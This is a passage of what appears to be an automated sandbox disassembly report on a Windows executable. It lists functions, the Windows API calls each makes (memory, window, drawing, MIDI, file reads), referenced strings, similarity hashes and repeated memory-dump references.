Opcode Fuzzy Hash: 0b49a1b49d496e8687fed6f6431e675e74bbc2a02f9718387de522c3743d88df
Instruction Fuzzy Hash: A711CE74908300AFC700EF56988495BFFE8FF88754F44083EF88883221D73899848B9A

Function 0048EC1C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00501204), ref: 0048EC28
InterlockedDecrement.KERNEL32(00501204), ref: 0048EC3F

Part of subcall function 00488384: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883C1
Part of subcall function 00488384: EnterCriticalSection.KERNEL32(?,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883DC

InterlockedDecrement.KERNEL32(00501204), ref: 0048EC6F

Strings

A/H, xrefs: 0048EC1C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Interlocked$CriticalDecrementSection$EnterIncrementInitialize
String ID: A/H
API String ID: 2038102319-3825389354
Opcode ID: b01cfa44c8c63fa003a2210b9e82851e0bafa830edb36abfe97c576d17831aba
Instruction ID: 9e8025519e32c3c70a1d6560ea31b120bf33e29a846631b7ea0a6d2bf152a743
Opcode Fuzzy Hash: b01cfa44c8c63fa003a2210b9e82851e0bafa830edb36abfe97c576d17831aba
Instruction Fuzzy Hash: ACF0B43650124ABFEB013FA6AC81DDF3B58EF85765F04043FFA0055161CBB68912979D

Function 0049791E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,^,I,00000000,00497917,?,00000000,?,?,00492C5E,?,00000000,?,?), ref: 0049792E
GlobalLock.KERNEL32(00000000), ref: 0049793C
GlobalUnlock.KERNEL32(00000000), ref: 00497970

Strings

^,I, xrefs: 0049791E, 0049792B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Global$AllocLockUnlock
String ID: ^,I
API String ID: 3972497268-2941405234
Opcode ID: 43a4f891c83e3e28237f757afe818732e7cabfcb9a4d5bfec049bfbb67e4be90
Instruction ID: 53d4942d04a59ce03c209828d8c9541bbb4971da05968c0bea4a9e43a9187533
Opcode Fuzzy Hash: 43a4f891c83e3e28237f757afe818732e7cabfcb9a4d5bfec049bfbb67e4be90
Instruction Fuzzy Hash: BFF0F6B3904202ABE7209F64DC45E56BBF4FB44710F00882EF589D3260D374D8A1CB54

Function 00499210 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000F0), ref: 00499221
GetClassNameA.USER32(00000000,?,0000000A), ref: 0049923C
lstrcmpiA.KERNEL32(?,combobox), ref: 0049924B

Strings

combobox, xrefs: 00499245

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ClassLongNameWindowlstrcmpi
String ID: combobox
API String ID: 2054663530-2240613097
Opcode ID: ae27acaf4fff6a4ddba800511fa5ae8242188bbd237619f5ee9c5f20442dbaba
Instruction ID: 5c54e070ea6a1bd67706c3f2e3c0c45cc96b31e7cd8103f6b4be4bd98d1ae792
Opcode Fuzzy Hash: ae27acaf4fff6a4ddba800511fa5ae8242188bbd237619f5ee9c5f20442dbaba
Instruction Fuzzy Hash: 12E06D32954109BFCF109F78DC4AB9E3F68EB12785F108A72B427D50A0D674EA458A5D

Function 00485EFB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00480935), ref: 00485F00
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00485F10

Strings

KERNEL32, xrefs: 00485EFB
IsProcessorFeaturePresent, xrefs: 00485F0A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: c84186f1245abd90f5ba5c864e866e25f8e31ea94969119108392134ad357154
Instruction ID: 25014bfea4c5a899c1bcae982207aba7be4c147819c657720c43b239c2463fb6
Opcode Fuzzy Hash: c84186f1245abd90f5ba5c864e866e25f8e31ea94969119108392134ad357154
Instruction Fuzzy Hash: 89C0122478660165ED103B710C0DB5A34482B15B42F1008527703D0A95DA58C000533D

Function 004832DC Relevance: 6.5, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b017cd963b3de5825d0be604bb57f7a3d54bfc6dab595b8ab123460ae532bd3f
Instruction ID: 7d2e5bdcda6b3ee4b8bd3ef5e213da5eabe0c108143b0ef28871f0f7ea4d2bbb
Opcode Fuzzy Hash: b017cd963b3de5825d0be604bb57f7a3d54bfc6dab595b8ab123460ae532bd3f
Instruction Fuzzy Hash: 6F9114B2D01514BACF21BF699C419DEBBB4EB04B65F24092BF810B6291D7398E40DB6D

Function 0048A10C Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,004CCC90,004CCC90,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000), ref: 0048A12D
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000), ref: 0048A151
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000), ref: 0048A16B
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000,?), ref: 0048A22C
HeapFree.KERNEL32(00000000,00000000,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000,?,00000000), ref: 0048A243

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: ab608163c8d3d4bd031d1372d786d6248cfa981ba8d35ba66f91aebb10f93c6d
Instruction ID: 4da26def1b58108178be0ade1e2cff33e586c63ba85bec61ae36fa217a16aaea
Opcode Fuzzy Hash: ab608163c8d3d4bd031d1372d786d6248cfa981ba8d35ba66f91aebb10f93c6d
Instruction Fuzzy Hash: EE3110716007029BE330EF28EC85B2ABAE0F744754F10493BE55D977A0EBB8A811874E

Function 0042D7A0 Relevance: 6.2, APIs: 4, Instructions: 246COMMON

Download Yara Rule

APIs

midiStreamOpen.WINMM(004DB190,004DB1B8,00000001,0042DDD0,004DB174,00030000,00000000,004DB174,?,00000000), ref: 0042D7CB
midiStreamProperty.WINMM ref: 0042D8B2
midiOutPrepareHeader.WINMM(00000000,00000000,00000040,00000001,00000000,00000000,004DB174,?,00000000), ref: 0042DA00

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: midi$Stream$HeaderOpenPrepareProperty
String ID:
API String ID: 2061886437-0
Opcode ID: 0bf18da19b7d12e71995cc9eacaa8796555cd31e4a704892b9ae607f4e26f909
Instruction ID: 5dd68c3f687595418052329bc1c91ea4f2d16f186a7bf83fd9d0bfa679e5c3a6
Opcode Fuzzy Hash: 0bf18da19b7d12e71995cc9eacaa8796555cd31e4a704892b9ae607f4e26f909
Instruction Fuzzy Hash: 07A167716006158FD724DF29D890BAAB7E6FB84304F50492EE696C7750EB35F919CB40

Function 0042AAA0 Relevance: 6.2, APIs: 4, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97db8ef5504f782888a7369ff59a054b9c7999deada841b4fa2ccf8df22e1ef9
Instruction ID: eb0b240bc27673cefceee42fa007a42c690d2198aebb9ca3a1f1310429c0e255
Opcode Fuzzy Hash: 97db8ef5504f782888a7369ff59a054b9c7999deada841b4fa2ccf8df22e1ef9
Instruction Fuzzy Hash: C2518FB25083519FC710DF6AD88196BFBE8BB89714F444E2EF5A583240DB38D808CB56

Function 0048BBC0 Relevance: 6.2, APIs: 4, Instructions: 170fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(000001D0,000001D0,00000000,000001D0,00000000,00000000,00000000,00000000), ref: 0048BC3A
GetLastError.KERNEL32 ref: 0048BC44
ReadFile.KERNEL32(?,?,00000001,000001D0,00000000), ref: 0048BD0A
GetLastError.KERNEL32 ref: 0048BD14

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 103569a80dd1ee79c905a38ad93778757ab6a1c270bca0a2f348ba41318383f5
Instruction ID: 356d3566b7ce5c9db7740007cd8a41d7b08f3abce633a4c814dd97034bbbb27e
Opcode Fuzzy Hash: 103569a80dd1ee79c905a38ad93778757ab6a1c270bca0a2f348ba41318383f5
Instruction Fuzzy Hash: 0651B434504389EFDF21AF58C8807AE7BF0EF16304F14489BE8558B362D7789945CB99

Function 0042B8B0 Relevance: 6.2, APIs: 4, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0042B8C2
PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 0042B91A
__ftol.LIBCMT ref: 0042BA05
__ftol.LIBCMT ref: 0042BA12

Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ObjectSelect__ftol$ClientRect
String ID:
API String ID: 2514210182-0
Opcode ID: 54f1c648df8b860520aa66ca4d3156d05e72ad6944ca7110b21ceef419769059
Instruction ID: 63dcbb06b7cd2e97b286b7ae62033ba21c939e0dcc35fc4567cee1fdbffa9147
Opcode Fuzzy Hash: 54f1c648df8b860520aa66ca4d3156d05e72ad6944ca7110b21ceef419769059
Instruction Fuzzy Hash: AD51BDB1B083028FC714DE29D98096BBBE5FBC8340F548A2EF99993251D734DD498B96

Function 0043FAC0 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 0043FAFE
GetDC.USER32(?), ref: 0043FC62
ReleaseDC.USER32(?,?), ref: 0043FC86
DeleteObject.GDI32(?), ref: 0043FCB8

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: DeleteObject$Release
String ID:
API String ID: 2600533906-0
Opcode ID: 2d46d07d10ea4971aa8675457e3a869eb1d883ff2f6aa3ca73c9ea649a426d20
Instruction ID: af18c1f4c48a769ea1362e8abd7fdafc25eb5dee4c4fb8589642d8129497c80a
Opcode Fuzzy Hash: 2d46d07d10ea4971aa8675457e3a869eb1d883ff2f6aa3ca73c9ea649a426d20
Instruction Fuzzy Hash: 66516DB1A042449FDF14DF28C890B9A7BE5BB58300F08857AEC4DCF356EB789949CB65

Function 00419020 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00419094
GetParent.USER32(00000000), ref: 004190E4
IsWindow.USER32(?), ref: 00419104
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000013), ref: 0041917F

Part of subcall function 0049612F: ShowWindow.USER32(?,?,0041710C,00000000), ref: 0049613D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$ParentShow
String ID:
API String ID: 2052805569-0
Opcode ID: 4620057dc58f59b418595477250b7755926c2a6ebfdbed247eb3e3eac47f86d0
Instruction ID: 96a1ac7b0dd44c176fa04e4c2b4a1de3d031c5d55c9e52dd11c87157306f584d
Opcode Fuzzy Hash: 4620057dc58f59b418595477250b7755926c2a6ebfdbed247eb3e3eac47f86d0
Instruction Fuzzy Hash: 5D41AD757003026BE720DE618C95BEBB3E8AB84754F04453EFE049B381D778EC8587A9

Function 0040C610 Relevance: 6.1, APIs: 4, Instructions: 144windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00496156: IsWindowEnabled.USER32(?), ref: 00496160

IsWindowVisible.USER32(?), ref: 0040C64A

Part of subcall function 00494123: GetWindowTextLengthA.USER32(?), ref: 00494130
Part of subcall function 00494123: GetWindowTextA.USER32(?,00000000,00000000), ref: 00494148

Part of subcall function 00490977: SendMessageA.USER32(?,00000466,00000000,00000000), ref: 00490983

wsprintfA.USER32 ref: 0040C6E4
SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 0040C710
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0040C71F

Memory Dump Source

